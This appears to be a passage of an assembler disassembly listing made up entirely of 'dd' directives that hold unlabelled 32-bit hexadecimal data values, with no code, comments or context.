dd 0CAE3026Ah, 0D800BD4Ah, 170E41A4h, 29FE3EE5h, 0C0C6A01Fh
dd 5F1091B6h, 274ABD7Eh, 0E97D9C02h, 0C5520006h, 280722FDh
dd 0F8C45B1Eh, 927EE320h, 90415013h, 6DCF09CAh, 0E0C63ADh
dd 46FE6F98h, 20408F30h, 0A3E6DEh, 0E9113B23h, 16C661B8h
dd 0E0AE0530h, 2570B94h, 0E70D804Dh, 9C982667h, 0DCB2BECFh
dd 87FB733Dh, 0EB785DDFh, 0C8D03DA7h, 3A302A23h, 0AB03E5C1h
dd 7CF46892h, 53A04ED0h, 2D18B0ECh, 62189091h, 0A414902Ch
dd 42213024h, 3A499880h, 0C9BCB254h, 44F34D00h, 947C4B9h
dd 953605B5h, 4A6E202Dh, 8040BDD8h, 0D146B32Eh, 23249B6Ah
dd 2A0438DAh, 30832294h, 8003D9D5h, 0E1B440A4h, 8007C6B9h
dd 0D50ED831h, 58AC330Ah
dd 0E61F9426h, 17494F63h, 7DE77EA0h, 3A19D6C9h, 44C08A2Dh
dd 0ADCFB0F3h, 966230EFh, 9C51792Ah, 0D52CF107h, 0DB27FB57h
dd 0DC0681F1h, 0E0DEF60h, 3850D958h, 5921C6C0h, 0A92EA570h
dd 6F07FC49h, 0A703C2EBh, 0ABCA1C0h, 0A4431184h, 5487C0B3h
dd 4288C4Ch, 0C1E0D66Ch, 0DDD5D602h, 4110CF30h, 9B2002ECh
dd 111F30BEh, 0B8A6D010h, 8E94EA00h, 1D2D7708h, 3098752Bh
dd 0BD905F1Fh, 0E31CBA81h, 0F46AD9B0h, 78BBF212h, 1544E440h
dd 4908B4B3h, 6312788Dh, 3C5CC028h, 85016E9Ch, 78EB868Ah
dd 0C70C7CEh, 0EEE97060h, 0D8A8256Ch, 6D891C0Fh, 0E19530C0h
dd 0E0FE58h, 0B68C4E0h, 17DE615h, 0C074A135h, 0D0EEE462h
dd 3007E8CFh, 1394422Fh, 27D3611h, 0DA37B040h, 0D2F002E1h
dd 5A2A0D66h, 7C5F9460h, 8306B300h, 163F7642h, 3470191h
dd 4D074F4Bh, 0EDE0CB10h, 17AC15Bh, 51BDA606h, 502811D2h
dd 0EEE88Dh, 4A86E2DFh, 24B3F393h, 361A8502h, 511FBF3Fh
dd 0C26E1C3Ch, 3E5D82C8h, 0E977CEE0h, 60F96500h, 0D93F56FAh
dd 913601FEh, 30CB7E1Ah, 0CAC4059h, 2718C1D8h, 33A0B23Dh
dd 25C33BCAh, 0DCB126h, 1BC5C20Eh, 7200B426h, 9627D3Bh
dd 3B8A455Dh, 67804071h, 44435A14h, 1E17F15Eh, 240278BFh
dd 148D3270h, 2DB9E900h, 8297AFB3h, 91ED00C4h, 28954C0Ah
dd 7D002B14h, 736EE049h, 4179BBh, 0A23EB5CCh, 7E646955h
dd 2CA7D01Eh, 0AE1F95FEh, 9821E4h, 50921E3Bh, 0EC2C5C64h
dd 7B09C09Eh, 60A04255h, 70323EFh, 427E319Dh, 122E40ACh
dd 1307C28Ch, 0AF014DD3h, 0ADF6DC80h, 8C2D4C53h, 79DC58h
dd 90CF5C31h, 83394C0Eh, 840DF709h, 0D0C0A019h, 0FEA74CBh
dd 0EB42611Ch, 451BFAA0h, 4F00C7DAh, 2043471Ah, 0A2327CCh
dd 0F67E34B5h, 4C5802F8h, 0B47A06CEh, 49B9BD4Ch, 37040310h
dd 0C824E5BEh, 2A1C1EA7h, 2A4D4FAh, 0E38D630Dh, 5068FFB4h
dd 0E474EDD7h, 0D45ED500h, 951F603Dh, 0B66700EAh, 8280EC4Fh
dd 0E53A967Ch, 0CED713DFh, 7DA74500h, 613F5A5Dh, 2E6AF2FDh
dd 58A02065h, 0EB0DE09h, 47F8009Ch, 64D150A0h, 0B88830A6h
dd 0C155004Ch, 6DC9297Bh, 9C628D3h, 0EB4005C8h, 0A2BD2054h
dd 0F532140h, 11B8F7B1h, 93003B42h, 97482D05h, 7798D524h
dd 2C967B02h, 49802EF9h, 2226A098h, 735BA26h, 0BF360500h
dd 7E695EA8h, 0D91F0213h, 0B342FC3Eh, 1017E068h, 340A9701h
dd 0AA625ECCh, 0B0531824h, 57E10088h, 32B8039Fh, 650FCE48h
dd 0E0C05AD8h, 406312C4h, 3E10B07Ah, 0F0854719h, 43DCFB05h
dd 4AB59DC0h, 904508E0h, 0B93FE16h, 4B075C40h, 1FBB06ADh
dd 0A8C68617h, 0D0484CCFh, 96094500h, 0F3D7837Ah, 11C98B0Eh
dd 3EA8E04Fh, 505AF66h, 45D3EEC1h, 0C18017Dh, 0DC97A9D2h
dd 3D1675EDh, 384BAD7Ch, 90BCA261h, 609B423Eh, 58A8210h
dd 0C5893CA6h, 0DB1CD886h, 0E9933D18h, 985BBEC1h, 4F8800A2h
dd 0C78C0B9Bh, 7B03D5C2h, 0C36A242Eh, 4BD0001Bh, 0F87E6C99h
dd 0DB3DBBECh, 786F30B1h, 0B89D7375h, 4DF30C11h, 7C583747h
dd 0C00E55F0h, 4673CDC6h, 1836C7h, 0A73C11FCh, 49294BC1h
dd 75A36019h, 9C6350C9h, 6DC07459h, 72E7540Bh, 87704C58h
dd 45301BD4h, 24A50895h, 204BF2Fh, 0ECFFA8B8h, 30E34CE4h
dd 0F8A85AB0h, 27036DA0h, 1F4CA302h, 7528C008h, 0C1CC1259h
dd 27F4C13Eh, 9C4CF4AFh, 0E7BA50C0h, 0E8BC2937h, 256490A5h
dd 1C005194h, 18EFD42Ah, 4011B56Bh, 2564A4h, 4BE692CAh
dd 941A517h, 6A0ECE7Ah, 0D67A11BDh, 66AF7900h, 925C62A4h
dd 889508ACh, 24A6E57Ch, 0A2B96E00h, 17F5737h, 0C76D3331h
dd 0F84BD0BFh, 2838454Fh, 597201C1h, 9FE49A29h, 0F62A60h
dd 94EDC534h, 0DCD7D3B3h, 0B03C7500h, 4F619D10h, 3A3748Bh
dd 0CD8489B2h, 7FA8A02Fh, 7E001CD8h, 0B9F4935Dh, 0C71DA80Dh
dd 0D0AFE510h, 5C371A07h, 0CAB2AD12h, 950C1480h, 99F9C155h
dd 72827213h, 0A23D7970h, 7BB20FC1h, 9624800Fh, 9065FFECh
dd 0E9850A1Ch, 9ACEE06h, 0E040EA2Eh, 9F00054Dh, 0D8DB815Ch
dd 50526Ch, 11CC8A10h, 345FC6A4h, 0D4992DB0h, 1DFFE588h
dd 780B816Ch, 38A45AABh, 0B2D10050h, 800A966Dh, 137548h
dd 3BD1F92h, 82F6704Fh, 2C1ED900h, 0C30D9F5Ah, 0CC9738CEh
dd 55E5B080h, 6D0480DBh, 873C507Dh, 7DDA96AEh, 61603C4Fh
dd 0C8F6616Ah, 2CC9C0h, 0B228BB24h, 0D6E5FDD2h, 9E10F001h
dd 874903FEh, 7B7BFE8h, 0A7EE2A0Ah, 0E6A49121h, 1D5A80A8h
dd 206AAE94h, 86C203ABh, 0B35E891Eh, 300A3EB0h, 0DF00117Bh
dd 8C01F942h, 96836Dh, 4CD1D7D2h, 4106C5B8h, 0DFE09200h
dd 0F30BA601h, 27155C31h, 0BAF9830Ch, 2F0B3678h, 8EDD327Eh
dd 507500E7h, 1F0E1E40h, 7C3E7h, 8E0AFE15h, 5700A969h
dd 0AF622A6Eh, 0B85C4810h, 6B9F1EADh, 39A54149h, 80139BF6h
dd 4ED32A19h, 0F5D9A04h, 2CECE4BFh, 0C774B1E5h, 0B802C99Eh
dd 10E8510Bh, 60787F47h, 8C765F7Bh, 7D7C4601h, 8E49570Eh
dd 3EE1D0h, 90835B2h, 2123CDD8h, 152EBB7Ah, 0D03BB70Ch
dd 0D8E19689h, 39127CF7h, 0F080238Ah, 27E46C7h, 0DF76ED5Ah
dd 0E4434D0Fh, 0AD9DCAD0h, 0ABF73200h, 785047A1h, 25A20015h
dd 0EE7CC9C4h, 3A006A10h, 0AAF0EDD8h, 32D207Eh, 0A927A814h
dd 3E982268h, 1800AF16h, 31B584A2h, 0DFFE1Bh, 0D212C227h
dd 2CAD0741h, 7A821800h, 5C0E5DC4h, 27AB003h, 6D490262h
dd 70688FDAh, 2500E8D8h, 0B67A7C57h, 91EE752Ah, 0E7198868h
dd 0AE4CC800h, 1CC31A0h, 0A11E91B1h, 0E774343Fh, 0E70B11D0h
dd 7A626000h, 0BA7D1B5Dh, 7554000Eh, 404F5B69h, 2B01021Ch
dd 63BEE9B2h, 9034AD6Fh, 57D52C23h, 3EAB81B8h, 38C79E2Ah
dd 25C4C60h, 9990F1F0h, 78E461CDh, 3C451074h, 1D02B8BAh
dd 0C631B28Dh, 5442F4C6h, 0E33461D3h, 0B0A43084h, 41350300h
dd 63A7CD0Eh, 2F499E2h, 0ECBDA314h, 5184CCC8h, 0F0077D89h
dd 0ED22D1F0h, 0CA640216h, 0C0616C23h, 9A75714Ch, 88460240h
dd 0E8FAE7E3h, 676AD440h, 0EA12E5EAh, 0B4C07ABCh, 48C605A5h
dd 2301B895h, 7E0A8ACh, 380C6341h, 2CA12929h, 50A1128h
dd 9CB50CD9h, 7216C82h, 0BD7CC0C6h, 0F5C5275Fh, 0E58065D4h
dd 0C76E132Ch, 0B9D10CC6h, 4B792E7Fh, 0BEAE3F00h, 7D12BBE4h
dd 0EB4E88h, 8C5408DCh, 6FE7642h, 0E8BF0B01h, 0C613A095h
dd 7A219063h, 8B289025h, 0D642981h, 0E3664484h, 9FA86F2Ch
dd 675F1E45h, 1E924B0h, 451C13EEh, 38E2CA44h, 4C8493FCh
dd 660094E6h, 9B350576h, 5017D723h, 14014C2Ch, 0F6FEE6E2h
dd 0C06226C5h, 44D6E60h, 120C159Eh, 0B814211Ch, 48EB0382h
dd 0A4903E3Ch, 692C82B4h, 219180C0h, 278A810Bh, 3980A3AEh
dd 80A99B67h, 0E93AA69h, 0DA10801Ah, 9909D527h, 0E3655440h
dd 0E1F37000h, 0C173FBA6h, 0A49B58B9h, 2E947400h, 0E3B22DD9h
dd 0CFC5B019h, 0C0CA0EE0h, 17E6BBE8h, 20D1FF32h, 42BD02E0h
dd 44ED9B18h, 0BE63428h, 0CD1946D4h, 51764903h, 67FB0E7h
dd 0DB269B11h, 0AC3BF4DDh, 5E0014FAh, 8B8FB4A1h, 0A3480241h
dd 59DF56A2h, 352ED040h, 0E58DDB13h, 1B55B700h, 0F81D1924h
dd 2CEA00B7h, 516D408Ah, 0AD017AC4h, 8473D854h, 0FACDB321h
dd 0A0A4C4h, 40D6FCFDh, 6EBAB71Bh, 0E15B6C00h, 48A3BDA2h
dd 3A4C021Eh, 9E05FFFDh
dd 0DB430868h, 7F5E310Bh, 30100080h, 1F331F86h, 408BC437h
dd 871AB23Ah, 6C00DA8Fh, 1780B0F7h, 187362h, 0ECE7AC75h
dd 678D6E41h, 406CB100h, 5D82DB51h, 0A0AD00E8h, 486152A6h
dd 380242B4h, 437E8D62h, 8610403Bh, 0B493E87h, 8E707380h
dd 0F74AE6ABh, 0B040858h, 805ACA74h, 255DD4E4h, 980B0047h
dd 16F74278h, 920B3EB0h, 8ADABFDh, 0E200DC9Dh, 4F280B4Eh
dd 802B4896h, 3649B800h, 0CF229B15h, 4BB02F00h, 9A289DE8h
dd 62BC4C08h, 6EB31400h, 9BC41797h, 0C81C8230h, 1FAABEh
dd 0F0DA534Fh, 4B7F9E86h, 1F2B9824h, 29BB0800h, 5C6D55F4h
dd 931FB8AEh, 0A08D92A7h, 0A300FB8Ch, 0B39E98EDh, 961F9DBFh
dd 0FED10318h, 0E6F8CC25h, 0A892E1BDh, 80FC275Ch, 843EB33Dh
dd 0FB0B04FCh, 0C3E41DACh, 400954F4h, 0EBD758h, 995D6124h
dd 447702C5h, 0AAAFB4E5h, 85CFC49h, 0FB3D0058h, 0EF3CDAF8h
dd 61E89419h, 6BD04500h, 78DBF49Ch, 0FB350ECEh, 0B2C0644Ch
dd 8A66A306h, 13D26D09h, 0E42C03E2h, 879E8892h, 3AA7819h
dd 4F3DBF9h, 2003E5A1h, 5812A4EAh, 0D78085DDh, 3F25805Eh
dd 642CEC38h, 0A6E50034h, 0F443BFB9h, 9FE22400h, 0BD477C02h
dd 0B25D0017h, 0CCA14C0Ah, 2B000BB3h, 363D260h, 13FCFB05h
dd 17CD95Eh, 143444EAh, 2169C401h, 3F4EB900h, 7AB02083h
dd 0C5A70E3Ah, 93A736FBh, 628E2079h, 0E03C1E78h, 3BB1BF9Bh
dd 5A2A829Ch, 600F257Bh, 13FADEh, 0B877C919h, 2CC13212h
dd 0BF65E118h, 0D56DB8h, 188B6FC6h, 6FA16C4h, 0F770B5h
dd 0FD42DD7Dh, 0BCCA68DFh, 0E06DDB07h, 0B4C1Ch, 6935AF10h
dd 239D0FAEh, 33029C9Bh, 4242906Fh, 2B01D0D8h, 45AA926Dh
dd 98745642h, 0CFA90F34h, 0A8A01F85h, 0CDAB3C68h, 6AAC6E05h
dd 64C0CB64h, 0A087C69Dh, 4AB7F0h, 4DB2221Dh, 0B00FA1A3h
dd 1F92BC00h, 8E91ADBAh, 52EEB4h, 6DF3CC78h, 0AB481E44h
dd 7671DFF2h, 490080ECh, 121411ACh, 961CE7Ah, 9A02472Fh
dd 9590C883h, 5CBBBE8h, 650CB100h, 30F75A36h, 7700B440h
dd 0BEE07391h, 0C5078228h, 975AD5D8h, 53FCBFF0h, 16607B69h
dd 0C03B4C98h, 881B665Ch, 0A32CCD03h, 4BDF713h, 0C97014C0h
dd 0F8AC4090h, 0DE07E1h, 0D3F1DFD2h, 0C005E3EAh, 0D0D13Bh
dd 0FBE5E2AEh, 71254C6h, 29021D98h, 112BA1B2h, 3407DCA1h
dd 0E4E3BA16h, 97054D3h, 2C92D0C0h, 2138E810h, 9914BA09h
dd 0CB88807Dh, 0F0834Ch, 0FA446A66h, 5337D52Ch, 96458D00h
dd 6876D64Bh, 249003h, 0F2CDC983h, 0F8F7CFF9h, 0F407009Eh
dd 0F533CE87h, 0F6F1E086h, 0A6590096h, 81C3AD3Ah, 0AB009510h
dd 0CCB62369h, 2971884h, 7E9872A9h, 2440CA48h, 7B00F281h
dd 0D9C79AD5h, 3B726DC8h, 0C60175FBh, 0E1524D18h, 55B3F567h
dd 249082C0h, 1100F2E3h, 17944914h, 844659h, 8C614171h
dd 0E340D373h, 1BA6F113h, 84DF9082h, 0BCA865A8h, 882FE000h
dd 7B4A37C2h, 8E21F316h, 544864C2h, 9F9F3890h, 446C00Ah
dd 70E0C6F1h, 841D3A0Bh, 83998039h, 396B03Eh, 0C14FA21Fh
dd 0F0A1A7C2h, 0A4002B09h, 2F066480h, 94EA4C83h, 885F4803h
dd 1107EDBDh, 0DB52A825h, 63DAD310h, 82480095h, 7246B477h
dd 5375381Eh, 7080914Eh, 77EFEAF5h, 6DA201B9h, 0AD579DB0h
dd 0E29BF352h, 41D870EBh, 0E0B0BF82h, 5CDEBD04h, 14A047B4h
dd 9DCB8CDh, 0B33B569Fh, 4ECA7440h, 0BA0045EAh, 89E55CC5h
dd 4C0601CFh, 3701744Dh, 87ECE050h, 318FE5B0h, 9448F8B0h
dd 11DEF930h, 17FDEE25h, 3218980h, 0D7071884h, 41199800h
dd 7F3E44D0h, 0DB31F91h, 0DC9C87h, 8095D1BCh, 70BA53FDh
dd 0A208DE02h, 509251ECh, 0E815E408h, 0E2D90037h, 2D67AFF5h
dd 0B802EB2Ah, 0CC183A2Eh, 2CF4E875h, 19C70166h, 85F1D782h
dd 0EC40EA16h, 534879C2h, 9EBA0010h, 581B9211h, 7569E467h
dd 74630057h, 0AA8DE652h, 0BE19D8DAh, 50F862FBh, 3A5FB2E8h
dd 0BB07B0DCh, 47CBBD0Eh, 9A23E0ECh, 0E7FE73FEh, 51A6850Fh
dd 54A160DEh, 210BB2h, 69DC913Ah, 0E50D8CA9h, 0C4009D97h
dd 9ED530C8h, 44D44CC3h, 5E6D0171h, 2EDC1CE7h, 1F90D045h
dd 56B3602h, 0AECE9F2Dh, 5C09E0FCh, 9E20604h, 0D310330Eh
dd 58AF5800h, 0BA037CD4h, 6DB59EE8h, 2D30D022h, 24B9F878h
dd 0B5CC335h, 0D4120EFAh, 0C0F75860h, 2D0C1A00h, 2379D599h
dd 2204B889h, 1848049Bh, 940177F0h, 20902EA5h, 0D05091FAh
dd 0B1F946D9h, 61EA0E68h, 32727720h, 0D05C49Ch, 893DAD60h
dd 98D610C0h, 979105B2h, 80656369h, 5DE030F4h, 89A40E0Bh
dd 0CA6707BBh, 804DCBF3h, 1281FAB4h, 0B55B90h, 928BDA5Ch
dd 980093E0h, 0D729952Fh, 6B2528h, 5D5B6550h, 0FC2C706Eh
dd 0A8F6ED07h, 0A1252278h, 1460D800h, 8269C8h, 5A204790h
dd 9C66D23Ah, 0B9CC1504h, 65862574h, 0FA652CF0h, 0A20900C1h
dd 4029202Ch, 0CB0543F8h, 0EA63EF67h, 74808680h, 0A4EA14h
dd 0A072DC57h, 0AF84E659h, 7BDB5600h, 67D85BA8h, 733FC5Eh
dd 0EA5150E8h, 0F4D3699Bh, 7400CD96h, 0F2A43709h, 3AE0785Eh
dd 7A055DDCh, 0B28B4AD6h, 0C0D08700h, 0D136003Bh, 49DA80h
dd 4F82056Ch, 72CF9E7Bh, 0A4B1CD0Eh, 0C8DD2009h, 5272122h
dd 0E997F399h, 709C0306h, 90902E01h, 0D7009B15h, 0CBC6A79Fh
dd 10135Ah, 9332062h, 79525575h, 0C02ECE26h, 514F8A00h
dd 3B96FA85h, 0F89DCCDFh, 24C44075h, 0A6538E3Fh, 0CBB4E209h
dd 0D20238Bh, 8460D7F5h, 752E0483h, 27325B91h, 9450E950h
dd 3EA9E703h, 0A0961A11h, 4C71CCFCh, 0E04C8869h, 0D1B25F01h
dd 0EDAD580Eh, 7828CFh, 93BB775Ch, 4C34976Eh, 0D0F6C71h
dd 51EE92B3h, 0B4DF5925h, 650BB8A8h, 6020806Dh, 1284218h
dd 6F0B1329h, 0E0C6A0B5h, 71000A40h, 205E2CD9h, 0E6AF806Eh
dd 0B3830A39h, 84A533h, 0F4C2F90Ch, 1154B9B4h, 0EA409264h
dd 2AA51DFBh, 90F49857h, 960CBFC7h, 10F5DCFFh, 675B0395h
dd 1CC83D85h, 72B0F8D0h, 5D6A5600h, 0CA2E1FE2h, 74E1C5FDh
dd 7778B494h, 6AB76504h, 10E0F85Eh, 70DC13BBh, 0C4748871h
dd 0EC864988h, 0A10638B1h, 891F4A80h, 8E23C55Dh, 833E4D2Ch
dd 3F73CD01h, 5BC0CF9Fh, 0DBC600ACh, 0F54BF493h, 5101CBC8h
dd 56750806h, 0B9609FD8h, 15FC00D1h, 0AF3B1B87h, 14393752h
dd 440F133Dh, 6C5A5800h, 251858h, 8B156A3Ah, 0A59DA8E3h
dd 28071600h, 67DF04A9h, 55481EFAh, 0EDB482B9h, 0EC403E1Eh
dd 4763AEA0h, 0A38E22F9h, 6BD698E8h, 0F86E0088h, 0DB54F689h
dd 6F038F62h, 0DDA88BF0h, 0FC48C8E8h, 2CD97F50h, 7622EF2h
dd 20C25C07h, 0EAFE2CF0h, 6A0FDF0Fh, 0DE4602DAh, 40ECD43Fh
dd 0E4923901h, 0BE173D00h, 0FD37A00Dh, 0E8180012h, 51781628h
dd 97A3E0AFh, 0F7749B0h, 0F588B502h, 0FE86A9D6h, 47590087h
dd 0A4AC565Fh, 0F8B73800h, 0C0E51D65h, 768A00BFh, 0FEFC59D4h
dd 1B00BA55h, 0EC5640E2h, 39F39Ah, 0A4E9CE84h, 328DCD6Dh
dd 20E5B337h, 50F3C9CEh, 4080038h, 620AE4Dh, 2D58A14Fh
dd 9C371F6Fh, 25C73F03h, 6D22B888h, 30C97EDBh, 708BEFAh
dd 5500A6A2h, 575E471Ah, 0D915D8h, 0EE2D6ED7h, 31B4839Ch
dd 0A700467h, 1BEF9761h, 4B20FEE4h, 932CD046h, 2DFE272Fh
dd 2A48AD90h, 0A1EA0F70h, 6F94CE2Bh, 9505A098h, 0EAF5DD08h
dd 654D00F8h, 0D7FF767Bh
dd 84B0E7EEh, 0F36A7D00h, 208191C2h, 0A012E63h, 188B8770h
dd 0E25AD0E0h, 7A74DC88h, 2F0C8D74h, 89473D8Ch, 1E274AC4h
dd 0A8810068h, 0F087B267h, 1DE8BFE8h, 2CFC418h, 3158D21h
dd 0C0CA8F47h, 80081AFh, 0B722D792h, 90870C51h, 0E252000Ah
dd 0A60A0761h, 68CEC867h, 8F6AA37Ch, 5000CDE0h, 0DC8EB3B7h
dd 0EF84003Ch, 0FC9981AAh, 58CF83A8h, 632D0296h, 89188106h
dd 9074E04Dh, 6A6F1F7Eh, 5701DAAh, 763B4h, 0F0422114h
dd 1001748h, 0C22D9EF7h, 0E961F8Dh, 7CBFCF56h, 1700E20Eh
dd 2E29352Fh, 0DABE3Eh, 1B5DC803h, 0F8BA33h, 0A5F1D405h
dd 6E996225h, 0E10A2B00h, 0E28034DAh, 0D88A3CBCh, 2CEC7C05h
dd 6A2980ADh, 260004C7h, 0DA8EF4E8h, 5BFBE2h, 53FE2315h
dd 0C7B47E60h, 0C43ADEFCh, 3398010h, 8A56359Eh, 0EB9B2C86h
dd 0BE2300E2h, 0B1D489BDh, 6BBAAA00h, 73160647h, 44F300E2h
dd 4BFCC541h, 8B0104CBh, 0F176DC17h, 0E850421Ch, 0FC4FE27Eh
dd 5ABF0066h, 0B530F2F5h, 8375A184h, 0DEDE9E28h, 28056309h
dd 70C81ABh, 0AC50FE87h, 7022664h, 6350CDE7h, 0FA392009h
dd 17E4B757h, 3C70D37Ch, 0F4FEB4A8h, 3F343Fh, 43F60874h
dd 6E238C06h, 4DE0210Ch, 0F20B6EE3h, 19C48903h, 0F9AD17BCh
dd 0F9601B8Fh, 0A1F706E8h, 205760DEh, 1809A503h, 1FD270Fh
dd 0A32FC91h, 0F461DE7Ch, 8D00F884h, 19348FACh, 0C1F62686h
dd 94F12329h, 0A449E86Eh, 0E1D63000h, 0C0D9CFDEh, 0E48E2207h
dd 78C68D24h, 1580641Ch, 896DBD37h, 0E6080109h, 0C0F50E17h
dd 0DBC18204h, 0A0511B49h, 0F1CAE2ACh, 9C2401D5h, 9A3DECD2h
dd 1F288309h, 0E8F983B4h, 73FD1593h, 0F146007Ch, 0C9224D72h
dd 0BC000513h, 0C380450Bh, 38BE2D19h, 94848B78h, 83C5DF46h
dd 3072F67Fh, 0C8AF870Eh, 0A3405D29h, 555E81Bh, 0FE0E0C3Ah
dd 2A587235h, 31F71630h, 18CC0B8Ah, 109FE7B2h, 8E08DD0Eh
dd 8C67FD2Ah, 70394C8Dh, 7F280EBDh, 246389C7h, 0A8AB6AB3h
dd 0FF3D6A1h, 45908C7Ah, 6F0C18F8h, 4EFFA3Eh, 448E4876h
dd 496DB200h, 7418974Ah, 52E94FCEh, 0C0F9740Eh, 0DB24AC69h
dd 1D7B15F3h, 784CF501h, 0BBC51274h, 4461BFCh, 0BF1B2CBh
dd 8A078771h, 5E1F036Ch, 1100EC1Bh, 0A5A1D6FEh, 453F4E6h
dd 1D4BC724h, 2E9C807Ch, 3C00377Eh, 0C0901B74h, 33F055Dh
dd 35B25314h, 0B4A09B17h, 0C22C92E5h, 51070BACh, 0C502C4Ch
dd 3E092Fh, 0B211EF7Ch, 21668A83h, 38490103h, 0FC8FC3h
dd 0C739E930h, 22A22DA4h, 81F63E03h, 907EF528h, 391C8969h
dd 0A4809E1Dh, 0E9999758h, 8DB2CD3h, 0A7F7F070h, 0FA801F1h
dd 0FEC2A008h, 675985FFh, 0D980D247h, 3B022478h, 0D906084Bh
dd 0A049A43Ah, 0E58FF1Dh, 0E4231200h, 639BBCF5h, 3C4EC9D1h
dd 6E3880E0h, 0E01C3B00h, 2E7C3450h, 5A650083h, 0DB580567h
dd 1A1EC2C5h, 19DD986Eh, 807CA709h, 4BD46D3Ch, 0BCAE1D63h
dd 0DC6700FDh, 49304596h, 9103FF00h, 1A2375B2h, 0B0E568F5h
dd 0B77900E8h, 0BF977045h, 0B60CC390h, 21EE14D9h, 0B07C6E4Ch
dd 0A845A2C6h, 0B453371Fh, 0E08C20B2h, 0A3CEEB5h, 15D923DEh
dd 0F707401Ch, 10C09CA2h, 0B28DB0FCh, 194D3915h, 7C54B980h
dd 6D1DC0E8h, 490D1307h, 8586F6EAh, 7ADF0130h, 3C76DD1Eh
dd 1371F433h, 0BD45653Ah, 94EB0338h, 0E701FFA7h, 0B5D04250h
dd 6222E8C8h, 1DB7111Bh, 8196130h, 95ED25FCh, 0EEC84603h
dd 1541790Eh, 4A3FBBEh, 5C7D4B81h, 0F498F0A2h, 104AF328h
dd 61CC1E00h, 66C853FAh, 93B664Eh, 7E002186h, 0F8AA61A4h
dd 301915DDh, 0BE485EF4h, 0DFE20294h, 768BB100h, 2939692Dh
dd 5A6301ECh, 0A2B9DEADh, 800431D0h, 758C9B89h, 0CB6D979h
dd 8674BF2Eh, 21D3E608h, 0F1750200h, 184CFBDDh, 0C1A93943h
dd 0D30226EDh, 2F912537h, 25C155E8h, 4A8FE43Bh, 74B5E628h
dd 5060297Bh, 94EC5BA1h, 91AD1CDDh, 320F0099h, 74DADBCBh
dd 0A2BE3C0Ah, 22001C0Ah, 0ABF93746h, 33A87648h, 3B0860C3h
dd 4DF52100h, 8A700837h, 0C4ED064Ah, 41BCDDAFh, 29C028F8h
dd 0D8F4ABD6h, 0A7960263h, 6AA87B5h, 0DF746CE0h, 2C371A0Ch
dd 654F1F4h, 3C8B4A63h, 1C0349B0h, 372A1D8h, 0E7A09735h
dd 7B843E5h, 0AF98091Fh, 3171209Ah, 0E4A72A6Ah, 0BA80D14Fh
dd 3601EAB4h, 0BD54130Eh, 742158C1h, 0D2691D71h, 0D1680066h
dd 0E3B9F0E4h, 75533Eh, 89F5A4C9h, 613C7042h, 0AC43B1A1h
dd 0DC2BF8FDh, 200FB207h, 4546B30Ch, 4E10021h, 0B8B41DFEh
dd 0F9DF8FAFh, 74842414h, 603F5E88h, 72BFC941h, 0E1C86931h
dd 61CAC0F1h, 0B84653ACh, 60008F22h, 962861A2h, 0C02B0A54h
dd 800D1D39h, 0DE3FCCEAh, 0AA0786EDh, 3089B1D7h, 0CB29340Bh
dd 9B0050F8h, 0DF5DCEF6h, 18255F2h, 5179CA43h, 0DD7B5B21h
dd 3156FF37h, 336CF020h, 85E8029Dh, 0AED9AFB1h, 0D2C0AA21h
dd 0DDA9C985h, 0F80C48A2h, 13B47242h, 2620BCBAh, 48C6EFDDh
dd 0E23E844Fh, 29467B98h, 0A5E89A95h, 0DC5A8207h, 0BB340B54h
dd 6D408D3h, 27D69A41h, 860024B6h, 197749B8h, 6088A935h
dd 0C3834948h, 0AAF4C5EFh, 0E55EDD03h, 0D2D0DC50h, 85C04AAEh
dd 0E843F1BCh, 68200BECh, 64F418A1h, 3E5A202Bh, 3F20C6EFh
dd 1891F1A6h, 6918F8D1h, 0A53FD90Fh, 4044640Ah, 30F21C82h
dd 0F91161B3h, 8888A053h, 61AB9180h, 3A2A83DDh, 2AF8741Bh
dd 7C94800Bh, 334C01E2h, 2355A160h, 0E8B9F952h, 0FA092BB5h
dd 2C3CCFAAh, 8CFE78E8h, 0AD1161FCh, 0BA888053h, 61A77D81h
dd 2CF086C1h, 0BD2A022Bh, 0C3AA53E2h, 0D383E090h, 0E0517C32h
dd 85911F82h, 8C927B80h, 0F2F4263Eh, 2C4BAE24h, 0FFD4C240h
dd 0B3050031h, 0D3A1E191h, 810A7351h, 84240BE9h, 5F3E2984h
dd 6BDACC8h, 2A5ECEF1h, 0E30A8940h, 0E855EF3Dh, 0DA11708h
dd 0C4C9B73Ch, 6200C74Eh, 1365B4DCh, 4CD4109Dh, 7780A03Ch
dd 59EF9CC3h, 201C5800h, 103D8C36h, 549A09D1h, 40997D2Dh
dd 4AD184Dh, 42BCAFDh, 0EE2CB3h, 0CC18FE05h, 6AD07293h
dd 0AB46DC90h, 0FA37630Fh, 1FC46048h, 374F0240h, 0A91BD04Ch
dd 0A239AAD9h, 0DEC090C1h, 4B821854h, 0E0E1118Ch, 3CCE2500h
dd 2A265E4Fh, 6990049h, 0ECC32B0Fh, 6607513Eh, 9427DE35h
dd 8321F7D0h, 5EFE061Ch, 48A0E937h, 8160548Dh, 28057827h
dd 598315Bh, 8D3DAB1Bh, 0B0B814A5h, 0FB01D323h, 0EED96475h
dd 0B480C863h, 5B7875F3h, 0DB5AE303h, 191D235Eh, 0F18B4B71h
dd 62E02AA0h, 0C2C600AFh, 0A45E7650h, 0A678233Dh, 61DC8101h
dd 0EBF404F2h, 14635980h, 6A80C549h, 0EDA18E1Fh, 99FED9C4h
dd 5E883EC0h, 75291853h, 563C3109h, 7A9984A8h, 40DB2C00h
dd 0D9E91DF4h, 7F900E0Ch, 0D020396Dh, 59097443h, 4EFAF801h
dd 0F64BF0A4h, 281BA980h, 7155A268h, 99FDFC00h, 0EB29E8AAh
dd 7930A03Ah, 0F52500C5h, 0EE4CA71Ah, 0F10063ADh, 48AFC03Bh
dd 208CD12h, 0FAF9F28Ah, 60443930h, 87063600h, 0DE23ED92h
dd 52E46Eh, 0D1D45FA2h, 2EFFF4A9h, 14BA593Dh, 0C0C01704h
dd 0D94575F8h, 0C448C96h, 75F000B1h, 4980D593h, 82020353h
dd 214345FFh, 0F5C49137h, 0FAA16B10h, 86A4F900h, 0F268287h
dd 2A291880h, 0A5B510Dh, 0C039136Fh, 2305C910h, 226B008Ah
dd 88038B0Dh, 38175A43h, 81FAD72h, 54AEFE42h, 0B84841F8h
dd 0BFB84818h, 4898AB24h
dd 0F40EDC4h, 0F70A3770h, 4DCF8B07h, 8234DD1Ch, 663214C1h
dd 80A65091h, 0AB8D377Ah, 75AF43A8h, 25620188h, 5C704837h
dd 0A74D291Dh, 2056ABDDh, 94D83C21h, 4C27AEE4h, 0B9BC1488h
